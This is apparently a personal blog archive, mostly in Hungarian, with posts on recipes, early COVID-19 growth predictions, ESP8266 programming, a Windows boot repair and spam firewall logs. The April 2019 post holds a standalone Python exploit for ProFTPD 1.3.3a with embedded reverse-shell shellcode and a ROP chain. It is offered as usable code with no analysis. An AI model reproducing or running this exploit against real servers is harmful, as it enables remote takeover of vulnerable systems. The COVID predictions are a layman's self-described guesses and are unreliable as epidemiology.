January 27, 2020

My #ncov2019 predictions (ncov-2019, betacov-wuhan) 27-jan

I am not a medical doctor or a researcher on the field, but let me make some predictions.

  1. First infected patient who was not in China recently (meaning infected abroad) will appear on this thursday, 30th of January. (ack: it was on 28/01 in Germany, but 1st case in US was 30/01)
  2. WHO PHEIC declares on friday ( public health emergencies of international concern) [31/01] (ack, it happened on late 30/01)
  3. Within two weeks (meaning maximum 7/February) quarantine within China will be revoked. Maybe traffic links between China and other countries will be cut instead
  4. First Hungarian infected person acknowledged on 01/Feb or so
  5. Hungary will mask some data instead of clear info distribution and our rate will be 1:100
  6. China might have manipulated real infection numbers in the range 10-100 times

My original consideration was the following: if there was only one victim on 01/Jan and we have 1000 victims on 21/01 , then it is like 10x exponential growth each weak, which is 1,4x growth each day. Recent data aligns with that: 800, 1300, 2000, 2800 victims on recent days, and the same growth rate on death numbers.

However, if we consider originally China misled communitiy with fake numbers and first patient was identified like 17/december/2019 and we still calculate with 10x rate with each week then we get like 100,000 victims as of 21/01, which is close to video based info from nurses in the area.

On the other hand, If I would masquerade the fact the we lied about number of victims, I would report much higher rate of new infections to hide the lower rate of new infections thus I could soon get out of the trap and let the reported number of victims close to the reality. So, e.g we have a daily 1,4 rate for reports, but in the reality it is like 1,2 only. HKU researchers gave number of victims around 25000, and doubling time like 6 days, which is like 1,12x growth each day.

I made a short calculation. Left, a model of growth with 1,4 rate, second column HKU number of infections with HKU 1,12 rate, date, last column, number of infected with an exponential model of 1,2.

As you can see, second model will get close to the reality at 07/02. If the growth rate is basically faked to be 1,4x daily only by calculations, then around 07/feb or gradually until then we will see decline of the growth rate. However, growth rate might decrease also due to the intervence of the events, like informing people, quarantine, etc, This will also surely have some delay effect so growth rate in reality should be already a bit lower, but will be visible only with a real delay, like 2 weeks. Hence, my prediction, around 07/feb we’ll have an official number of 100k infected and a reduced growth rate with press will consider as “epidemic lost strenght” which won’t be true and after another two-three weeks we’ll see a rapid rise of the epidemic again…. that time (08/march) reaching the 1 million infections.

Of course, in the meantime, anything can happen, and again, I’m not an expert on epidemics, I just want to log my guesses to be able to later revise if I was good looking into the crystal ball, or not.

In fact, based on my thoughts I made predictions to our fellow workers, and that was that 20/feb is a markable milestone when we willl understand this is serious, the next guess was that 01/march is the time where government should make serious decisions on the coronavirus spread, but they won’t especally to schools and universities. my last prediction , in oral and on the whiteboard was that on 15/03 we will end closing up or schools and universiitest.

That’s it, my predictions were all so precise that i’m frightened, but it was based on the original basic information available on 24/01 or around.

Great, what else you can predict. Sorry, my ability to predict anything cannot possibly cover next stepts. from now on chaos at some sense wiill aredict, and simple steps cannot be predicted. I hope all will be allright.

I wrote on the whiteboard of Ukatemi and Crysys Lab 3 dates.

feb 20 – we will understand that this is unstoppable and serious [tick, some days later it broke out in Italy]

1th of march – Hungary should close schools and universities, but they won’t [tick, did not done it]

15th of march – Hungary will close done schools and universities [tick, universities stopped 12/03, schools 16/03]

I’m not happy that any of my predictions was so much accurate.

January 24, 2020

Sztroganov Strongaoff Sztroganof Sztroganoff Stroganof Stroganov húsgolyók

https://gasztroabc.hu/recept/10255_sztroganoff-husgolyok-makaronival/ ezt a receptet szoktam használni.

January 13, 2020

Lanset America Corporation – Endless Hungarian spam flood

Lanset America Corporation. Home of the brave spammers that use multiple source IP addresses to avoid RBLs to send out spam messages. No, not just one piece a day, but rather so heavily like no one else. Of course with domainkeys and link to report abuse. Thank you Lanset, go to hell.

Stats of half a day of firewall logs on how many connection trials are coming from their network:

57270 3436K DROP tcp — * * tcp dpt:25
0 0 DROP tcp — * * tcp dpt:25
710 42600 DROP tcp — * * tcp dpt:25
31452 1887K DROP tcp — * * tcp dpt:25
0 0 DROP tcp — * * tcp dpt:25
11507 690K DROP tcp — * * tcp dpt:25
47722 2863K DROP tcp — * * tcp dpt:25
0 0 DROP tcp — * * tcp dpt:25
0 0 DROP tcp — * * tcp dpt:25
0 0 DROP tcp — * * tcp dpt:25
0 0 DROP tcp — * * tcp dpt:25
121K 7278K DROP tcp — * * tcp dpt:25
0 0 DROP tcp — * * tcp dpt:25

December 20, 2019

gőzgombóc szósz

Vettem sertéshúsos gőzgombócokat (fagyasztott) a Duna Pandában. Ezeket a rizsfőzőn meggőzöltem, és csináltam hozzá szószt: egy adag 20% ecetet felhigítottam vízzel, majd egy adag sót raktam bele, egy kis sötét szójaszószt, meg cukrot. abból nagyon sokat, és még egy kis thai csiliszósz is került bele. Igazából még friss zöldhagyma apríték kellene még bele, de így is kiváló lett a gőzgombóchoz. A lényeg, hogy legyen elég édes is, meg savanyú, és sós.

October 26, 2019

dobálós savanyúság

Ezer recept van, fel kell írnom hogy csinátam. Vettem egy 2 kg-os káposztát és egy karfiolt, és erre akarjuk rárakni a zöld sütőtököket (bébi).

5 liter víz, 500 g. cukor, 350 g. só, 750 ml víz, 750 ml 20% ecet. Az ecet nem fért a felforralt cuccba így külön raktam bele. 3 kávéskanál borkén. 1 csomag nabenzoát (helyett 15g szalicil), torma, stb. káposzta sárgarépa és aprított zöld sütőtök.

October 14, 2019

esp-01s wifi node esp8266 node setup (bug search notes in addition to already available guides)

ESP-01S esp8266 board programming from arduino

  1. usb-to-serial converter – connect rx to tx; tx to rx; gnd to gnd and vpp to both cnp and vcc (or whatever. you need an y cable to do that
  2. don’t trust putty. use termite, set flow control to none, speed 115200
  3. connecting to power will send you “ready”;
  4. AT+GMR gives

AT version: 14 2016 18:54:01)
SDK version:2.0.0(5a875ba)
Farylink Technology Co., Ltd. v1.0.0.2
May 11 2017 22:23:58

-If you type, you should see echo if RX and TX connected correctly (meaning you see what you type) but if CN+p or whatever enable pin is not high, you won’t get answer to other commands

-for programming GPIO0 should be grounded so make Y of the ground cable

-If grounded, you don’t see anything on termite, disconnect gpio0 gnd if you want to see something

-blinky does not work as default, the esp-01 relay v4.0 example works

arduino gui: add the json for the esps, select default esp8266, check serial port, programmer is not important option, do not touch too much

start upload. if communication fails, check comms without gpio0 shorted to ground, and SHORT IT before uploading. upload should make esp-01s make short blue flashes, and in short term some good messages. 7% appeared instantly other lines at the same time about 1 minute afterwards

A vázlat 274912 bájt (55%)-ot használ a program tárhelyből. A maximum 499696 bájt.
A globális változók 27184 bájt (33%)-ot használnak a dinamikus memóriából, 54736 bájtot hagyva a helyi változóknak. A maximum 81920 bájt.
esptool.py v2.6
esptool.py v2.6
Serial port COM5
Chip is ESP8266EX
Features: WiFi
MAC: ec:fa:bc:38:d4:95
Uploading stub…
Running stub…
Stub running…
Configuring flash size…
Auto-detected Flash size: 1MB
Flash params set to 0x0320
Compressed 279072 bytes to 201421…

Writing at 0x00000000… (7 %)
Writing at 0x00004000… (15 %)
Writing at 0x00008000… (23 %)
Writing at 0x0000c000… (30 %)
Writing at 0x00010000… (38 %)
Writing at 0x00014000… (46 %)
Writing at 0x00018000… (53 %)
Writing at 0x0001c000… (61 %)
Writing at 0x00020000… (69 %)
Writing at 0x00024000… (76 %)
Writing at 0x00028000… (84 %)
Writing at 0x0002c000… (92 %)
Writing at 0x00030000… (100 %)
Wrote 279072 bytes (201421 compressed) at 0x00000000 in 22.8 seconds (effective 98.0 kbit/s)…
Hash of data verified.

Hard resetting via RTS pin…

now disconnect gnd to gpio0

reset the board by disconnecting power and reconnecting

Connecting to
WiFi connected
Server started
Use this URL to connect: http://10./

all in just 5-10 seconds. now you can work on more advanced projects.

July 21, 2019

Termék tesztek – legjobb cuccos-buttyosok

https://maradokapenzemnel.blog.hu/2019/06/27/nagy_grillsajt_teszt Hajdú natúr, Tesco, Lidl-Bluedino.

https://maradokapenzemnel.blog.hu/2019/07/19/nagy_fustolt_grillsajt_teszt Karaván füstölt grill sajt

https://divany.hu/lajfhekk/2019/06/11/grillsajtok-tesztje/ Tihany válogatás grill camambert, Karaván grillkoron paradicsomos, Karaván grillkorong natúr,

https://divany.hu/lajfhekk/2019/06/24/csokolades-jegkremek-tesztje/ Spár prémium, Vienetta, Magnum poharas

https://divany.hu/lajfhekk/2019/05/13/kola-teszt/ penny drinky cola

https://divany.hu/lajfhekk/2019/05/06/csemegeuborka-teszt/ uborka- Eko, spar, penny

https://divany.hu/lajfhekk/2019/04/29/csilis-bab-teszt/ bonduelle bon chilis bab, heinz csípős sült bab, el sabor, auchan tuti tipp

https://divany.hu/lajfhekk/2019/03/19/almale-teszt/ Penny apfel 100, spar 100%, Lidl solevita

https://maradokapenzemnel.blog.hu/2019/06/13/sajtos_grillkolbasz_teszt Zimbo sajtos, ALDI BBQ sajtos, SPAR BBQ kasekrainer (aldi olcsó)

https://maradokapenzemnel.blog.hu/2019/07/10/nagy_irsai_oliver_borteszt FONT, Bognár, Ostorosbor

https://maradokapenzemnel.blog.hu/2019/06/11/nagy_kave_teszt Auchan Arabica, Omnia Barista, Penny Casa Blanka, LIDL Bellarom Columbian Supremo

https://maradokapenzemnel.blog.hu/2019/04/17/nagy_husveti_tormateszt Auchan tájaink ízei- kun, Koch’s asztali erős, ALDI le gusto, Koch’s másik, Lidl Kania

April 27, 2019

proftpd 1.3.3a debian squeeze standalone exploit based on metasploit module

import sys, socket

# Use in the form “python .py

host = sys.argv[1] # Recieve IP from user
port = int(sys.argv[2]) # Recieve Port from user

# Target: ProFTPD 1.3.3a Server (Debian) – Squeeze Beta1

#payload disablenop + badchars \x09\x0a\x0b\x0c\x0d\x20\xff
# msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT=1234 CMD=/bin/sh -b ‘\x09\x0a\x0b\x0c\x0d\x20\xff’ -f python

import random
import string

buf = “”
buf += “\xba\x7f\xd0\x96\x36\xda\xd1\xd9\x74\x24\xf4\x5e\x29”
buf += “\xc9\xb1\x12\x31\x56\x12\x83\xc6\x04\x03\x29\xde\x74”
buf += “\xc3\xe4\x05\x8f\xcf\x55\xf9\x23\x7a\x5b\x74\x22\xca”
buf += “\x3d\x4b\x25\xb8\x98\xe3\x19\x72\x9a\x4d\x1f\x75\xf2”
buf += “\x47\xd4\x85\x23\x30\xe8\x85\x27\x12\x65\x64\x97\xf4”
buf += “\x26\x36\x84\x4b\xc5\x31\xcb\x61\x4a\x13\x63\x14\x64”
buf += “\xe7\x1b\x80\x55\x28\xb9\x39\x23\xd5\x6f\xe9\xba\xfb”
buf += “\x3f\x06\x70\x7b”

payload = buf

IACCount = 4096+16
Offset = 0x00001028 # 0x102c-4
Ret = “\x47\xa5\x05\x08” #’0x805a547′
Writable = “\xa0\x81\x0e\x08” # “‘0x80e81a0’ #data
RopStack = ‘\xcc\xcc\xcc\xcc’ + ‘\x44\xa5\x05\x08’ + ‘\xcc\xcc\xcc\xcc’ *3 + ‘\x86\x88\x06\x08’ *4
RopStack += “\x8e\xbd\x05\x08” * 16 + “\x6c\xc2\x05\x08”
# Writable is here
# { 0xcccccccc, # unused
# 0x805a544, # mov eax,esi / pop ebx / pop esi / pop ebp / ret
# 0xcccccccc, # becomes ebx
# 0xcccccccc, # becomes esi
## 0xcccccccc, # becomes ebp
# # quadruple deref the res pointer 🙂
# 0x8068886, # mov eax,[eax] / ret
# 0x8068886, # mov eax,[eax] / ret
# 0x8068886, # mov eax,[eax] / ret
# 0x8068886, # mov eax,[eax] / ret
# # skip the pool chunk header
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# 0x805bd8e, # inc eax / adc cl, cl / ret
# # execute the data 🙂
# 0x0805c26c, # jmp eax
# }

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
banner= client.recv(1024)
print banner
#client.sendto(exploit, (host, port)) # Send the exploit over UDP to the nominated addresses

buf = ‘SITE ‘
#no cookieoffset buf += “\x8d\xa0\xfc\xdf\xff\xff”
buf += payload
if (len(buf) %2 ==0):
buf += ‘A’
buf += “\xff” *(IACCount – len(payload))
rndb = (Offset – len(buf))
buf += “\x41” * rndb
addrs = Ret + Writable + RopStack

buf += addrs + “\r\n”


March 30, 2019

win 10 boot fix

gparteddel átraktam minden partíciót ssd.re, de nem működött. Particiós kódokat variáltam, a fő part ef00 volt 0700 lett, nem segített. bootrec /rebuildbcd nem segített, mindig hibát dobott. egy idő után a pen drive se bootolt be, 98-as hibát adott. efi windows telepítő pen drive legalább betöltött. diskpart -ban minden vol-nak lett drive neve, az efi lett a c, a windows a d. ez itt még nem volt gond.

volt ilyen: de szerintem nem fontos

bootrec /fixboot

igen, az efi drive microsoft boot-ban a bcd-t átneveztem

Step 7. Input ren BCD BCD.bak and press Enter to change the name of BDC file from BCD to BCD.bak file.

Step 8. Input bcdboot c:\Windows /l en-us /s m: /f ALL

a nyelven és az s drive néven változtatva benyomtam, ezután végre bootolt, bár nem tökéletesen, a drive nevet még rendbe kell raknom.


list vol

select vol 0


assign letter w

select disk 1


assign letter c



cd efi

cd microsoft

cd boot

dir bcd

aha itt vagy

na akkor bcdboot c:\windows /s c: /f all

dir bcd

létrehozta, jó.

Működik? nem.

March 27, 2019

gomba “mártásos” szűzpecsenye

Krumplipürét főztem. Szűzpecsenyét kisebb érmékre vágtam, sóztam borsoztam, sütőben megsütöttem, előtte raktam rá pár szelet bacont. A gombához aránylag sok hagymát aprítottam, majd pirítottam kevés olajon és sok vajon. A gombát feleztem majd szeleteltem vékonyra. kb. 40 deka gomba, 90 deka hús és fél kiló vagy több körüli krumpli lehetett. Végül ráraktam a gombát, sót és borsot, pici fehérbort, majd addig pirítottam, hogy nagyjából elforralja a levét. Nagyon jó lett, főleg a gomba-krumpli kombó íze lett érdekes, a hús meg omlós és finom.